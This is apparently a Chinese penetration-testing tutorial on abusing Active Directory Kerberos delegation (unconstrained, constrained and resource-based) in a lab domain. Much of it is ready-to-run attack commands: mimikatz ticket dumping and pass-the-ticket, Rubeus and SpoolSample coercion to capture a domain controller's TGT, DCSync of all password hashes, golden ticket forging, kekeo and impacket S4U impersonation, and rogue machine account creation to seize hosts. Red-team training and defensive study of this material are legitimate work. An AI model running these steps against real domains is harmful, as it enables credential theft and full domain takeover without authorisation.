内网域渗透之委派攻击
委派攻击
域委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户的权限在域内展开活动。
简言之:当A访问服务B时,服务B拿着A用户的凭证去访问服务C,这个过程称为委派。
域委派主要分为三种:
-
非约束性委派
-
约束性委派
-
基于资源的约束性委派
在Windows系统中,只有服务账号和主机账号的属性才有委派功能,普通用户默认是没有的
主机账号:活动目录中的computers组内的计算机,也被称为机器账号。
服务账号(Service Account):域内用户的一种类型,服务器运行服务时所用的账号,将服务运行起来并加入域。例如SQL Server在安装时,会在域内自动注册服务账号 SqlServiceAccount,这类账号不能用于交互式登录。
非约束委派攻击
非约束委派的属性配置
实验环境:
主机名 | IP地址 | 权限 |
---|---|---|
dc(server 2008 r2) | 192.168.10.100 | 域控 |
client(server 2012 r2) | 192.168.10.101 | 普通域内主机(配置了非约束性委派) |
- 主机账号设置非约束委派
- 服务账号设置非约束委派
创建一个非约束委派服务账户,注册 SPN
setspn -U -A https/web web
服务账号或主机账号在被设置为上图 非约束性委派
时,该账户的 userAccountControl
属性会包含
TRUSTED_FOR_DELEGATION
非约束委派流程
serverA配置了非约束性委派,用户 user 访问服务 serverA,过程中 serverA 需要以用户 user 的权限使用 serverB 中的功能,于是用户 user 向KDC发起认证:
- 用户 user 向 KDC 申请一张可转发的用户 user 自己的TGT和访问 serverA 所需要的ST
- 用户 user 会把可转发的 TGT 和其中的
sessions key
与 ST 一起发送给serverA - serverA 在验证 ST 票据的同时也获取到了用户 user 的TGT 和
sessions key
,并把TGT存储在自己的lsass进程中。 - 从而 serverA 就可能以用户 user 的身份访问 serverB 上用户 user 能访问的所有服务。
从攻击者的角度来看:如果攻击者拿到了一台配置了非约束性委派的机器权限,可以诱导管理员来访问该机器,由于所有委派这个主机的用户都会将自己的TGT传送给此主机,因此可以获取管理员的TGT,从而使用管理员的 TGT来访问任意服务,相当于控制了整个域控。
非约束委派的查找
PowerView查询
PowerViews是PowerSploit
中Recon模块的脚本
- 导入模块
import-module .\PowerView.ps1
- 查询非约束委派的主机账户
Get-NetComputer -Unconstrained -Domain only.com | select name
- 查询非约束委派的服务账户
Get-NetUser -Unconstrained -Domain only.com | select name
Adfind查询非约束委派
下载地址:https://www.softpedia.com/get/Programming/Other-Programming-Files/AdFind.shtml
参数说明:
-b 指定要查询的根节点 -f LDAP过滤条件 [需要显示的属性]
- 查询非约束委派的主机账户
AdFind.exe -b "DC=only,DC=com" -f "(&(samAccountType=805306369)
(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
- 查询非约束委派的服务账户
AdFind.exe -b "DC=only,DC=com" -f "(&(samAccountType=805306368)
(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
非约束委派攻击利用
- 用域管理员访问
client
主机
远程连接或访问共享,使用的是kerberos的cifs协议
- 管理员权限运行mimikatz
域控模拟访问被设置了约束委派的机器后,这个时候其实域管理员的 TGT
已经缓存在 client
主机上了
使用域内机器登录本地管理员
清除一下当前票据缓存
klist purge
导出相关凭证
privilege::debug
sekurlsa::tickets /export
- 检测权限,均无法连接:
- 导入缓存于
client
主机的域管凭证
kerberos::ptt 凭证名称
kerberos::list
kerberos::ptt [0;f649a]-2-0-60a00000-Administrator@krbtgt-ONLY.COM.kirbi
- 导入票据访问域控成功
非约束委派&Spooler打印机
非约束委派常规利用还是比较鸡肋的,想得到域内权限必须要管理员与配置了委派的机器建立连接
所以有国外的大佬研究出了非约束委派+spooler打印机来强制与指定的主机进行连接
利用非约束委派+Spooler打印机服务可以强制指定的主机进行连接,这个利用场景是tifkin_
,enigma0x3
和harmj0y
在DerbyCon 2018
提出的
演讲PPT:地址
利用原理
利用Windows打印系统远程协议(MS-RPRN)
中的一种旧的但是默认启用的方法,在该方法中,域用户可以使用MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex)
方法强制任何运行了Spooler
服务的计算机以通过Kerberos
或NTLM
对攻击者选择的目标进行身份验证。
利用过程
域控为
windows server 2008R2
时,利用没有成功,所以这里将域控换为了windows server 2012R2
- 操作环境
域:only.com
域控:系统:windows server 20012 R2,主机名:dc,IP:192.168.10.101
域内主机:系统:windows7,主机名:win7,IP:192.168.10.4
注:主机账户 client 需要开启非约束委派
- 默认情况下Spooler服务为自动启动
获取票据
- 使用 POC 向
dc
的spooler
服务发送请求,强制其访问client
进行身份验证
POC开源地址:https://github.com/leechristensen/SpoolSample
SpoolSample貌似只能用.net4.0以上的版本编译运行,这里在win7中安装了.net4.0
在任意普通域用户下执行
SpoolSample.exe dc win10
- 利用Rubeus来对域控 dc 进行监听
下载地址:https://github.com/GhostPack/Rubeus
当我们使用 poc 强制让域控向 client 访问验证,Rubeus就可以监听来自域控 dc 的TGT
运行Rubeus需要管理员权限,使用 runas 打开一个本地管理员CMD(需要密码)
runas /profile /users:win10\administrator cmd
每隔一秒监听一次来自 dc
的登录
Rubeus.exe monitor /interval:1 /filteruser:dc$
也可以直接使用mimikatz导出TGT
privilege::debug
sekurlsa::tickets /export
可以看到是来自 dc
域控的TGT
注入票据
- 使用Rubeus将监听到的base64票据注入到内存
Rubeus 捕获到的TGT是base64编码的,但是我们不需要解码,Rubeus可以直接将base64编码的票据直接注入到内存中。
Rubeus.exe ptt /ticket:base64
或使用 powershell
转为正常的 TGT使用
[IO.File]::WriteAllBytes("绝对路径\ticket.kirbi",[Convert]::FromBase64String("得到的base64"))
- 使用mimikatz导入TGT
kerberos::ptt 票据
这里获取的TGT票据,并不能直接访问 dc 域控,因为我们获取的的只是
域控的主机账户的权限
,并不是域管理员的权限,但是我们可以利用主机账户的TGT使用dcsync
向 dc 发起同步一个对象(获取帐户的密码数据)的质询,获取krbtgt
的NTLM Hash 制作黄金票据
制作黄金票据
使用上面任意方法将票据注入到当前会话后,拥有使用 dcsync
向域控同步数据的权限。使用 dcsync
导出域控中所有用户的 NTLM Hash,然后用 krbtgt
用户的hash生成黄金票据
lsadump::dcsync /domain:only.com /all /csv
- 获取域 SID
whoami /user
- 制作票据
kerberos::golden /domain:only.com /sid:S-1-5-21-503949002-3110811107-1931127814 /krbtgt:d805fe58ce63353e807902eedbf21532 /user:administrator /ticket:admin.kirbi
- 注入票据并访问域控
S4U协议
非约束性委派被委派的机器会直接得到发布委派的用户的TGT,是十分不安全的,微软在windows server 2003中引入了约束委派,对Kerberos协议进行了 拓展。
引入了S4U,其中S4U支持两个子协议:Service for User to Self ( S4U2Self )和 Service for User to Proxy ( S4U2proxy )这两个扩展都允许服务代表用户从KDC请求票证。S4U2self
可以代表自身请求针对其自身的Kerberos服务票据(ST);S4U2proxy
可以以用户的名义请求其它服务的ST,约束委派就是限制了S4U2proxy
扩展的范围。
- S4I2self的作用
一段委派请求中,域用户向 service1 发送请求。用户已通过身份验证,但是service1 没有域用户的授权数据。通常,这是由于身份验证是通过 Kerberos 以外的其他方式验证的(如NTLM认证、基于表单的认证方式等),以其他方式与 server1认证后域用户没法提供 用户自身的TGS,server1也就无法获取到被委派去访问server2的ST,那么service1就需要先使用S4U2self从Kerberos请求到用户对server1也就是自身的ST(其中包含域用户的TGS和sessions Key),service1从ST中获取到域用户的TGS后就可以从 Kerberos请求模拟域用户身份的访问server2的ST
- S4U2self请求过程
1. 通过 S4U2self 扩展以用户的名义向 KDC 请求用于访问 service1 的 ST1。
2. KDC 返回给 service1一个用于用户验证 service1 的 ST1,该 ST1 包含用户的授权数据(TGS和sessons key)
3. service1 可以使用 ST 中的授权数据来满足用户的请求,然后响应用户。
尽管 S4U2self 向 service1 提供有关用户的信息,但 S4U2self 不允许service1 代表用户发出其他服务的请求,这时候就轮到 S4U2proxy 发挥作用了。
- S4U2proxy请求过程
1. 用户向 service1 发送请求,service1 需要以用户身份访问 service2 上的资源。
2. service1 以用户的名义向 KDC 请求用户访问 service 2的 ST2。
3. 如果请求中包含 PAC,则 KDC 通过检查 PAC 的签名数据来验证 PAC ,如果 PAC 有效或不存在,则 KDC 返回 ST2 给 service1,但存储在 ST2 的 cname 和 crealm 字段中的客户端身份是用户的身份,而不是 service1 的身份。
4. service1 使用 ST2 以用户的名义向 service2 发送请求,并判定用户已由 KDC 进行身份验证。
5. service2 响应步骤 4 的请求。
6. service1 响应用户对步骤 1 中的请求。
约束委派攻击
约束委派就是限制了当前服务器可以被委派去访问哪些服务,非约束性委派是不会限制当前服务器被委派时可访问的服务的。
换句话说,约束性委派被配置后,被委派的主机只能访问限制的服务。
约束委派的属性配置
如下图所示:
当 client
主机被配置了约束性委派,那么这个时候主机 client
就可以被任意用户委派去访问 dc
域控主机上的cifs服务,先经过S4U2SELF阶段拿到一个可转发的TICKET,然后再经过S4U2PROXY阶段,这时候就能代表用户访问特定服务了,与非约束性委派的区别是,限制了访问的服务类型与主机,但不限制谁能对 client
进行委派
攻击面是如果控制了client 那么就可以伪造域内任意用户访问 DC 的 cifs服务
服务账号或主机账号的userAccountControl
属性包含 TRUSTED_TO_AUTH_FOR_DELEGATION
,则其可以代表任何其他用户获取自身服务的 TGS/ST。
设置了约束性委派,服务账号或主机账号可以获取 msDS-AllowedToDelegateTo
属性中设置的服务的 TGS/ST
约束委派攻击利用
操作环境
域控:only.com,windows server 2012R2,主机名:dc
域内被控主机1: windows server 2012R2 ,主机名:client-2012
域内受委派主机2: windows 7,主机名:client
服务账户:only
有明文和 NTLM Hash
- 设置服务账户 only 的约束委派属性,委派去访问
client
的 cifs服务
如果没有服务账户,需要在域控上新建用户,加上spn标识为服务账户
setspn -A cifs/only only
创建后给服务账号配置约束性委派:
- 清空
client-2012
的票据
- 使用Adfind查询约束委派的用户:
AdFind.exe -h dc.only.com -b "DC=only,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
- 利用kekeo请求该用户的 TGT:
下载地址:gentilkiwi/kekeo:在C语言中与Microsoft Kerberos一起玩的小工具箱 (github.com)
当知道 only 这个服务账户的明文密码或者Hash时,可以是用 kekeo请求它的TGT
明文密码
tgt::ask /user:only /domain:only.com /password:Qwer1234 /ticket:ticket.kirbi
/ticket:指定导出票据名称
Hash
tgt::ask /user:only /domain:only.com /NTLM:Hash
- 使用 only 的TGT 伪造
s4u
请求以administrator
的权限委派only去访问client
主机
tgs::s4u /tgt:TGT_only@ONLY.COM_krbtgt~only.com@ONLY.COM.kirbi /user:Administrator@only.com /service:cifs/client.only.com
s4u2self获取到ST1以及s4u2proxy获取到的访问 client的cifs服务的ST2会保存在当前目录下
- 导入票据前访问
client
- 使用mimikatz将ST2导入当前会话
kerberos::ptt TGS_Administrator@only.com@ONLY.COM_cifs~client@ONLY.COM.kirbi
成功访问到 client
的cifs服务
无密码和NTLM Hash
如果我们不知道服务账号的明文和NTLM Hash,但是我们有了服务用户登陆的过主机权限(本地管理员权限),我们可以使用 mimikatz
直接从内存中把服务用户的 TGT dump出来。
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
mimikatz.exe "privilege::debug" "seckurlsa::tickets /export" exit
- 导出票据后直接跳过
tgt::ask
请求 only用户TGT这步
tgs::s4u /tgt:票据 /user:administrator@only.com /service:cifs/client.only.com
- 导入票据并访问
kerberos::ptt 票据
约束委派一般用在用户权限维持较多
基于资源的约束委派
原理
为了配置约束委派,必须具有SeEnableDelegationPrivilege 权限,该特权很敏感,通常仅授予域管理员。为了使用户/资源具有更大的独立性,Windows Server 2012 中引入了基于资源的约束委派。相对于传统的委派,基于资源的约束委派它不需要域管理员设置,而是机器本身。
这种约束委派风格与经典的受约束委派非常相似,但工作方向相反。从账户 A 到账户 B 的经典约束委派是在账户 A 的 msDS-AllowedToDelegateTo
属性中配置的,并定义了从 A 到 B 的"传出"信任,而基于资源的约束委派是在账户 B 的 msDS-AllowedToActOnBehalfOfOtherIdentity
属性中配置的,并定义了从 A 到 B 的"传入"信任。
当利用到基于资源的约束委派的时候,服务账户A的两个属性字段是没有赋值的
,但是无论服务账号的UserAccountControl属性是否被设为TrustedToAuthForDelegation, 服务自身都可以调用S4U2Self为任意用户请求访问自己的服务票据。但是当没有设置时, 通过S4U2Self请求到的TGS将是不可转发的,而S4U2Proxy的作用就是将可转发的ST票据转发到其他服务
进行委派认证的。
但是:在基于资源的约束委派过程中,不可转发的ST仍可以通过S4U2Proxy转发到其他服务进行委派认证,并且最后还会返回一张可转发的ST服务票证。
由于基于资源的委派是在服务账户B中配置 传入
信任,因此,如果能够在服务B上配置允许服务A的基于资源的委派,那么就可以通过控制服务A使用S4U2Self向域控请求任意用户访问自身的服务票据,最后再使用S4U2Proxy转发此ST票据去请求访问服务B的可转发的ST服务票据,那么我们就可以模拟任意用户访问服务B了。
利用条件
当我们知道资源的约束委派攻击的简要后就可以知道,资源的约束委派不再需要域管理员权限设置委派,所以我们需要拥有在计算机对象上编辑msDS-AllowedToActOnBehalfOfOtherIdentity
属性的权限,也就是,计算机加入域时,加入域的域用户和被加入域的域机器自身是拥有编辑权限的。
在大型内网环境在大型内网域环境中,将机器加入到域环境中一般不会用域管权限,而是用一个专门加域的域用户去操作。那么当我们拿下该域用户的账号密码时,就可以把通过该域用户加入到域里的所有机器都拿下。
所以如何利用基于资源的约束委派进行攻击需要:
- 机器账户
域内用户都有一个属性叫做 ms-ds-MachineAccountQuota
,它代表的是使用该域用户能将多少台计算机加入到域的个数,默认是10,这代表着我们如果拥有一个普通域用户,我们就可以利用这个用户创建新的10个机器账户
为什么是机器账户?,因为攻击的时候会利用到
S4u2self
协议,而它只适用于具有spn
的账户,普通账户没有spn
,而机器账户默认是注册RestrictedKrbHost/domain
和HOST/domain
这两个SPN的,这个host类型的服务里面包含了很多小的服务例如cifs。它是一些服务的集合体。
- 一个有权利修改
msDS-AllowedToActOnBehalfOfOtherIdentity
属性的账户
可以查询域内计算机的 mS-DS-CreatorSID
这个值代表的是将计算机加入到域内的用户,它是具有修改 msDS-AllowedToActOnBehalfOfOtherIdentity
的权限的,如果我们可以拿到这个用户的凭据,就可以控制使用这个用户添加到域内的所有的电脑。
攻击利用
攻击原理
首先添加主机账户,修改 msDS-AllowedToActOnBehalfOfOtherIdentity
值为主机账户的 sid
,然后以机器账户的身份伪造成 administrator
申请一张访问此机器账户机器的 ticket
(类似于白银票据),因为机器账户没有配置约束性委派,所以这张票据是不可转发的,但是在基于资源的约束性委派中,票据是否可以转发不重要,对之后对 s4u2proxy
不影响,最后利用这张 ticket
去申请访问修改了 msDS-AllowedToActOnBehalfOfOtherIdentity
属性的机器。
环境配置
操作环境
用户账户 | 主机名 | 系统版本 | 类型 |
---|---|---|---|
only\administrator | DC | windows server 2012 R2 | 域控 |
only\only | client-2012 | windows server 2012 R2 | 被控跳板机,攻击操作在此完成 |
only\admin | client | windows 7 | 受委派主机 |
admin 域用户就是将 client 加入域的域用户
当我们在做横向并拿下一台普通主机权限,发现是域环境,然后在主机中发现 admin
域用户的密码,因为需要 使用 admin
将其他主机加入到域环境中,所以我们才有机会能获得 admin
的账号密码。
在 only.com
域中,admin域用户 负责将 client-2012和client主机加入到only.com中,那么我们拿下admin域用户的权限后,就可以拿下域内 client-2012和client主机。
查询域用户
- 通过ADfind查询每个域机器是由哪个域用户添加进域的,通过
ms-DS-CreatorSID
查询域用户的sid
。
AdFind.exe -b "DC=only,DC=com" -f "objectClass=computer" mS-DS-CreatorSID
可以查看到 client-2012和win7 都是由sid为:1110
的用户加入到域的。
知道sid后正常情况下我们是不知道该 sid是哪个域用户的
- 查看SID属于哪个用户
AdFind.exe -b "DC=only,DC=com" -f "(&(objectsid=S-1-5-21-503949002-3110811107-1931127814-1110))" objectclass cn dn
另一种方式,假设现在已经拿到了把 client-2012这台机器加入域的用户 admin的权限
- 使用 whoami /user 查询当前用户的sid
同样可以通过该用户的sid查看有哪些域主机是通过自己加入到域内的:
AdFind.exe -b "DC=only,DC=com" -f "(&(samAccountType=805306369)(mS-DS-CreatorSID=S-1-5-21-503949002-3110811107-1931127814-1110))" cn sAMAccountType objectCategory
如果查询没有mS-DS-CreatorSID,那么它是被域管理员加入到域内的
添加主机账户
powermad添加主机账户
下载地址:https://github.com/Kevin-Robertson/Powermad
以 admin 用户创建一个主机名为 CLIENTSYSTEM,密码 Qwer1234
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount CLIENTSYSTEM -Password $(ConvertTo-SecureString "Qwer1234" -AsPlainText -Force)
- 验证是否创建成功
net group "domain computers" /do
impacket创建主机账号
使用impacket工具包的 addcomputer.py
脚本创建
python3 addcomputer.py -method SAMR -dc-ip 192.168.10.4 -computer-name CLIENTSYSTEM -computer-pass pass@123 "only.com/admin:Qwer1234"
查询主机账号SID
域控查询添加机器的SID
dsquery computer | dsget computer -dn -sid
get-adcomputer clientsystem
在普通域主机上查询
使用empire下的powerview
Import-Module .\powerview.ps1
Get-DomainComputer -identity clientsystem
设置委派
- 设置
clientsystem
到client
的基于资源的约束委派
在被委派的 client 上设置
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-503949002-3110811107-1931127814-1110)"
$SDBytes=New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes,0)
使用empire下的powerview脚本执行
Get-DomainComputer client | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
- 检查是否配置是否成功
Get-DomainComputer client -Properties msds-allowedtoactonbehalfofotheridentity
- 攻击完成后可以清除基于资源的约束委派配置
Set-DomainObject client$ -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose
域控上通过命令行打开adsiedit.msc查看CN=client机器属性,可以看到:
当被设置为基于资源的约束委派的时候,它的msds-allowedtoactonbehalfofotheridentity会包含有效字段。
现在已经配置好了所有利用条件,就可以通过基于资源的约束委派进行攻击了
获取票据
Rubues获取票据
Rubeus.exe hash /user:CLIENTSYSTEM /password:Qwer1234 /domain:only.com
使用impacket套件获取
python3 getST.py -spn cifs/client.only.com -impersonate administrator only.com/CLIENTSYSTEM$:pass@123
普通域账号伪造票据到本地管理员
使用Rubeus伪造 administrator请求TGT
Rubeus.exe s4u /user:clientsystem$ /rc4:6C4FD556DB12BE51BACD9A3CC19D486E /impersonateuser:administrator /msdsspn:cifs/client.only.com /ptt
访问目标
使用impacket套件提权
- 获取服务票据
python3 getST.py -spn cifs/client.only.com -impersonate administrator only.com/CLIENTSYSTEM$:pass@123
- 指定获取到的票据
export KRB5CCNAME=administrator.ccache